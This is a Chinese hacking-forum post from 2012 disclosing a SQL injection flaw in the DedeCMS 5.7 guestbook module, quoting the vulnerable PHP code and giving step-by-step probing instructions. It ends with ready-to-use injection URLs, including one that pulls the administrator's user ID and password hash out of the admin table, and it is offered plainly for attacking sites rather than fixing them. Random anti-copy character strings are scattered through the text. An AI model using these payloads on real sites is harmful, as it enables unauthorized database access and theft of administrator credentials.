找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4293|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
! R6 w7 N) O& \
: N, J, b5 b' y. X/ m漏洞文件edit.inc.php具体代码:$ _" a. v( g; b$ r

  R; T, v$ b5 \2 k0 j  e( L9 ?$ J+ e$ A< ?php  ) v4 z4 P" X( s) M

- h, q3 N# l1 d9 K) y. V0 @4 {if(!defined('DEDEINC')) exit('Request Error!');    a$ Q9 _7 x$ M2 Z: q* Q

, t8 v- B2 o4 R: h   
9 t" x) l* G) [% Y! o( w6 f8 o0 T
1 T3 q% y! w+ ]if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
+ a7 A) x! W& K, X  z1 L; @
/ `6 H* z! C# B/ x7 B; ~else $GUEST_BOOK_POS = "guestbook.php";  - G; @% w; J/ \: T3 `& w

( {& M# L+ l3 R% C2 b$ s: a  F   # Z2 S% k6 j& c& q

5 E3 Q6 J$ p' A+ q) |+ z8 W, t$id = intval($id);  2 U, @" f1 a. I. ~; J

: c' U) M) X8 w% u0 S( c5 `+ Qif(empty($job)) $job='view';  , ]! f9 w  q$ Y) t& I- c+ w. X

8 ?: \6 Y' w6 Q5 o   " ]8 e% ?" _3 X. s
3 [" C3 H6 `% j( k" e, T+ c
if($job=='del' && $g_isadmin)  * x; C: B0 h  v" N

2 e2 {' K$ Q$ u8 g$ q, W' ^7 D{  9 E/ X& i& O% d$ W2 E& e- z

/ H' z6 g* I/ x& x3 C6 |" O" q4 _$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");    o0 R& b& m8 ^& D1 G

% a0 c. g+ \* v; l: @1 xShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
, F4 y. i' Z7 U& G
7 k; l6 b9 c; c. X! Gexit();  - g' m! K) P1 w& a  `

; e" j$ b9 G* c* K}  + m4 J: o+ |3 P, @/ o( [) c

, M& X) Q& C5 F2 e0 ^3 A* [! q9 c2 Celse if($job=='check' && $g_isadmin)  ) H6 G' P& b1 V/ V, M) Z

; v3 H% R. k4 i+ @: S{  1 l8 i; c! R# M; c+ H$ E
) r8 l$ G4 I- I' t; p2 E1 c0 l
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  / C4 {) ~4 W# Y1 m+ M: A
- b) ]$ j( B0 c/ o
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  * N9 D9 X- u7 K& N5 [( C
! T  Y7 k- e, O2 ^) g( I' G
exit();  ' o, B, k$ B& c( j2 c
& L5 F$ {. x9 k
}  
3 V2 v3 d. O7 v; u# M& @/ O
5 O) g+ N) E% I9 |' A- ?  ^else if($job=='editok')  
0 M) F  n' k) [/ G' G+ A* Q- J* g
) x  U$ L# \% h0 V( J{  
" i) k$ |8 o6 b; A0 i, i9 b1 p
' Z7 B" ^$ x0 }6 }" B$remsg = trim($remsg);  
2 {+ S# Q% c: R
, X1 n  {  t8 K: I2 yif($remsg!='')  # n* M" [: O7 Y7 B) j8 Z. c; y
; v! H5 |+ f3 \# u2 N$ W) t
{  
. {9 k( Z, o) [" \* z- ^# i) R$ d. C6 S0 W4 s2 \) E
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
2 \  P6 z" U( V' F0 `- J6 n) ^4 T) e2 b7 Z& J& v( j
if($g_isadmin)  
0 z2 H) o$ S, \4 h5 G
" ~' W2 ?0 ?# O{  8 u5 a2 z8 }/ m* U

; Q' M4 k6 h6 h$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
: _" p" k6 ?) P( R6 U8 R8 e0 A9 Q0 w( ]% B  I! d& D0 G4 W& r
//$remsg <br /><font color=red>管理员回复:</font> }  0 a7 i9 T, h- L

2 u6 J: k1 _! I; _* `else
7 L# Y; s2 G/ E$ N6 J; v# x% I- c" m% C9 k
{  # @; L8 }- H- S/ g$ s; A8 F

1 Y/ q' Q3 P3 J$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  ) Q8 S0 y* i) X, P" v! d5 n

+ f" L! M3 v, r/ h' [$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  7 E# ^) N8 i  r2 b5 ^

/ u4 P; E0 C! N2 D  c% V$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
$ f' j* j) x; B+ I  [
. j: O& U: q9 T+ A4 Y3 t6 R$msg = $oldmsg.$remsg;  / F1 Z! [+ P) h& ?) |! ]: z
  W$ z" {1 M$ @8 g( S& {9 A
}  " X7 a0 L7 A/ t
% `& I3 }# F) C& f
}  6 x2 v6 T( r/ O  U$ \- g7 j4 X( y

4 A$ f6 i+ P; Y1 {. N4 q) m//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
, Y/ ^" j* K4 ?0 K" d( b% }
$ e7 {) k0 S: I4 w$ o: o* g& Z$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
/ x0 _# s6 a2 i
0 T+ }7 `6 e" ]5 I# ?7 a& o0 Y! EShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
; ^. O# I1 p$ K! ^# ^& h2 B& M6 k( Z& ]( ]; m8 x( Q
exit();  
. c  a) |. a, q
7 f7 k: T8 u- K) i}  
7 s2 J7 R3 {! i5 I% x; ]1 K: O: J1 B- U! m' ~
//home:www.errs.cc  6 P! n& Z# x% r) q
0 c7 `6 x2 I- z6 Z4 b
if($g_isadmin)  2 i# ^- A9 Y4 ~+ V8 X' W: V
9 K3 [5 E8 l$ Q4 j" v% ?1 J0 o
{  ' z3 t1 T/ G$ J; `4 u! B0 _3 @5 K

4 c; ~: Q, N; v! L2 a7 f$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
9 T! R  L/ y; n. P$ N) q9 O# \, M) u1 x2 }! ~
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  3 I  ^% N+ S7 M
# A4 K, R' F4 q/ m
}  9 J  q! i2 \8 ~) x
% o, B5 ]4 b- j- u
else 9 g( a% o7 |/ D  h

0 G! ]6 k( B$ `+ h1 N{  
4 C$ _  D8 h2 l8 i: p/ ]: S0 F& N8 U) U0 M( \$ L& A
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ) E. G% O# B( |5 O) ~/ x

- C% ]1 A0 h: G/ E" h* Vrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  4 _; }) p) {  |& r0 t7 A! j
) A, G$ Z; X, W* ?6 o; Q7 l
} 漏洞成功需要条件:
5 R4 y# {) i; n$ |; o8 O/ z1. php magic_quotes_gpc=off" t3 F- R' r9 Z4 E7 A8 X. F( ^
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 G5 Q7 o! r+ r
" z$ ?3 s* y4 a" P( H怎么判断是否存在漏洞:
' X1 E2 d9 s, S; b* P  }先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,9 h4 ?0 ]0 o9 S
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
: o- x! Z# q; n" Z8 ?0 x7 h$ a& _访问:
  f+ G5 y5 L# H4 C
2 n: s( i8 `$ k% p( w) `5 Bwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了- `0 w* K! H9 w' V/ v
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证* F4 z$ G( b6 y) ?: A3 m
( d, W. L7 V  A2 D8 w3 D( E( }

% K( b0 {9 O7 ?7 L$ `0 _$ e明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
8 ^; ^/ ~8 L& O如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
* P9 u/ ^! ~! b2 I) x那么再次访问6 t& }3 j7 N: ~1 N& s4 `( P
! q8 c% M0 |9 P1 [
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
( O* ]( Q$ b# j2 I7 I
8 ^4 G' B6 a$ m9 \: C2 [3 W大概利用就是这样,大家有兴趣的多研究下!!
  y) Z2 ^" q" g0 h, D9 ]" B+ J, ?0 ]- p5 C% Q, l, ]
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!0 x$ d. F4 T7 J
# f6 ]! N' l0 u
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表